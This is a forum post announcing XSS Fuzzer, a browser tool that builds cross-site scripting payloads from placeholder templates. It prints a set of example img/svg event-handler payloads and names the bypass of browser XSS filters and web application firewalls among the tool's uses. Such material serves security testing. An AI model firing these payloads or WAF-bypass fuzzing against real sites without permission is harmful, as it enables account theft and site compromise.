[RST] XSS Fuzzer

Nytro · November 24, 2018

What is XSS Fuzzer?

XSS Fuzzer is a simple application written in plain HTML/JavaScript/CSS which generates XSS payloads based on user-defined vectors using multiple placeholders which are replaced with fuzzing lists.

It offers the possibility to just generate the payloads as plain-text or to execute them inside an iframe. Inside iframes, it is possible to send GET or POST requests from the browser to arbitrary URLs using generated payloads.

Why?

XSS Fuzzer is a generic tool that can be useful for multiple purposes, including:

Finding new XSS vectors, for any browser
Testing XSS payloads on GET and POST parameters
Bypassing XSS Auditors in the browser
Bypassing web application firewalls
Exploiting HTML whitelist features

Example

In order to fuzz, it is required to create placeholders, for example:

The [TAG] placeholder with fuzzing list img svg.
The [EVENT] placeholder with fuzzing list onerror onload.
The [ATTR] placeholder with fuzzing list src value.

The payloads will use the mentioned placeholders, such as:

<[TAG] [ATTR]=Something [EVENT]=[SAVE_PAYLOAD] />

The [SAVE_PAYLOAD] placeholder will be replaced with JavaScript code such as alert(unescape('[PAYLOAD]'));. This code is triggered when an XSS payload is successfully executed.

The result for the mentioned fuzzing lists and payload will be the following:

<img src=Something onerror=alert(unescape('%3Cimg%20src%3DSomething%20onerror%3D%5BSAVE_PAYLOAD%5D%20/%3E')); />
<img value=Something onerror=alert(unescape('%3Cimg%20value%3DSomething%20onerror%3D%5BSAVE_PAYLOAD%5D%20/%3E')); />
<img src=Something onload=alert(unescape('%3Cimg%20src%3DSomething%20onload%3D%5BSAVE_PAYLOAD%5D%20/%3E')); />
<img value=Something onload=alert(unescape('%3Cimg%20value%3DSomething%20onload%3D%5BSAVE_PAYLOAD%5D%20/%3E')); />
<svg src=Something onerror=alert(unescape('%3Csvg%20src%3DSomething%20onerror%3D%5BSAVE_PAYLOAD%5D%20/%3E')); />
<svg value=Something onerror=alert(unescape('%3Csvg%20value%3DSomething%20onerror%3D%5BSAVE_PAYLOAD%5D%20/%3E')); />
<svg src=Something onload=alert(unescape('%3Csvg%20src%3DSomething%20onload%3D%5BSAVE_PAYLOAD%5D%20/%3E')); />
<svg value=Something onload=alert(unescape('%3Csvg%20value%3DSomething%20onload%3D%5BSAVE_PAYLOAD%5D%20/%3E')); />

When it is executed in a browser such as Mozilla Firefox, it will alert the executed payloads:

<svg src=Something onload=[SAVE_PAYLOAD] />
<svg value=Something onload=[SAVE_PAYLOAD] />
<img src=Something onerror=[SAVE_PAYLOAD] />

Sending requests

It is possible to use a page vulnerable to XSS for different tests, such as bypasses for the browser XSS Auditor. The page can receive a GET or POST parameter called payload and will just display its unescaped value.

Contact

The application is in beta state so it might have bugs. If you would like to report a bug or provide a suggestion, you can use the GitHub repository or you can send me an email to contact [a] xssfuzzer.com.

Link: https://xssfuzzer.com/